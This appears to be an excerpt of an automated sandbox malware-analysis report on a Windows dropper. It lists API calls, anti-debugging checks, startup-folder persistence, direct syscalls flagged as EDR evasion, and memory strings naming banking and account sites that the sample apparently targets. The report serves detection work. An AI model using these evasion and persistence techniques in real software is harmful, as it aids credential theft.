Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D43CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	2_2_00D43CC4
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFAB760 FindFirstFileW,FindClose,	2_2_6CFAB760

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D697A5 VirtualQuery,GetSystemInfo,

0_2_00D697A5

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: Toolpatch_dbg.exe, 00000009.00000003.2118439884.0000000007F42000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Toolpatch_dbg.exe, 00000009.00000002.2303817114.00000000005CC000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2303817114.0000000000654000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1777802953.0000000000655000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1769501559.0000000000656000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1768907811.0000000000656000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Toolpatch_dbg.exe, 00000009.00000003.2013933336.0000000008272000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Toolpatch_dbg.exe, 00000009.00000003.1900499127.00000000082BB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D4E88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D4E88A

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Code function: 2_2_6D2D74F1 VirtualProtect ?,-00000001,00000104,?,?,?

2_2_6D2D74F1

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Code function: 2_2_6CF63756 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_6CF63756

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D548D8 mov eax, dword ptr fs:[00000030h]		0_2_00D548D8
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D748D8 mov eax, dword ptr fs:[00000030h]		2_2_00D748D8

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D2394F GetProcessHeap,RtlAllocateHeap,

0_2_00D2394F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Debug

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe"

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4E3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D4E3D8
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4E88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D4E88A
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4E9DC SetUnhandledExceptionFilter,	0_2_00D4E9DC
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D53C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D53C76
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6E3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00D6E3D8
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6E88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D6E88A
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6E9DC SetUnhandledExceptionFilter,	2_2_00D6E9DC
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D73C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D73C76
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF74FA6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6CF74FA6
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D2D8A8B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6D2D8A8B
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B152A6 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00B152A6
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B1094F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00B1094F
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B10D22 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00B10D22
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B0FE7B _abort,__NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00B0FE7B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtMapViewOfSection: Direct from: 0x7FF62611A297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateThreadEx: Direct from: 0x7FF6261E1329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryValueKey: Direct from: 0x14011D93E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDelayExecution: Direct from: 0x7FF6261B1638	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260D3A38	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	NtSetInformationThread: Direct from: 0x1000509B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryValueKey: Direct from: 0x7FF6260E9EFA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602827A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Indirect: 0x14012000F
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadVirtualMemory: Direct from: 0x7FF6260C0F0E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF6260CD9DA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626024522	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62611765B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF62623BEFF
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateThreadEx: Direct from: 0x7FF626156340	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtMapViewOfSection: Direct from: 0x7FF62623A87E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryValueKey: Direct from: 0x7FF6260E905E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF62623984B
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateThreadEx: Direct from: 0x7FF626024B46	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260C7A12	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6261936FD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x14011D808	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260C0C18	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626189D54	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62619DBEA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateFile: Direct from: 0x7FF6262379D8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF626184F7D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF62623BF13
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateThreadEx: Direct from: 0x7FF6260248AA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62619BE98	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF62613FF83	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtMapViewOfSection: Direct from: 0x7FF6260B2026	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602DC82	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadVirtualMemory: Direct from: 0x7FF62623777A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadVirtualMemory: Direct from: 0x7FF626185BEF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDelayExecution: Direct from: 0x7FF6261B2A74	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF6260CEF8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260DF55F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDeviceIoControlFile: Direct from: 0x7FF6261197D1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF62623BF21
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF626184333	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateFile: Direct from: 0x7FF62623982D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDeviceIoControlFile: Direct from: 0x7FF6260BCD5E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	NtQuerySystemInformation: Direct from: 0x777563E1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260C7B14	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtTerminateProcess: Direct from: 0x7FF6260CCDB3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FFB2CE826A1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF6260CE8DA
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626043D47	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryValueKey: Direct from: 0x7FF6260E8F6F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDelayExecution: Direct from: 0x7FF6261BC466	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6261919EC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x14011D864
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF6260CDC44	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtDelayExecution: Direct from: 0x7FF6261AD744	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260C950C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF62618531B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260812BB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602FDF6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF6261E4C67	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260B258F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260C7444	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryValueKey: Direct from: 0x7FF6260E9AC8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62611A2DF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62623ACAC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260DE9C8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtClose: Direct from: 0x7FF6260E99CD
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF6260BC320	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF6260BC7C2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF6261E26C9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626034883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6261145A9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadFile: Direct from: 0x7FF6260C7B7A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62611679B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FFB2CEA4B5E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62603029F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF62623FD55	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationThread: Direct from: 0x7FF62624516A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtSetInformationProcess: Direct from: 0x7FF626185056	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtEnumerateValueKey: Direct from: 0x7FF6261756EC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF6260CE5D0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtMapViewOfSection: Direct from: 0x7FF6260B1E28	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateThreadEx: Direct from: 0x7FF6260250C1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadFile: Direct from: 0x14011D832	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602BC1E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626037762	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadVirtualMemory: Direct from: 0x7FF6261863A3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62618C79C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtQueryInformationProcess: Direct from: 0x7FF6260C10DB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtCreateFile: Direct from: 0x14011D7A4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF626034B63	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6260D36E6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtReadVirtualMemory: Direct from: 0x7FF626185DF2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62615FCFE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtOpenKeyEx: Direct from: 0x7FF6260E897D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602AEB7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62602F9CE	Jump to behavior
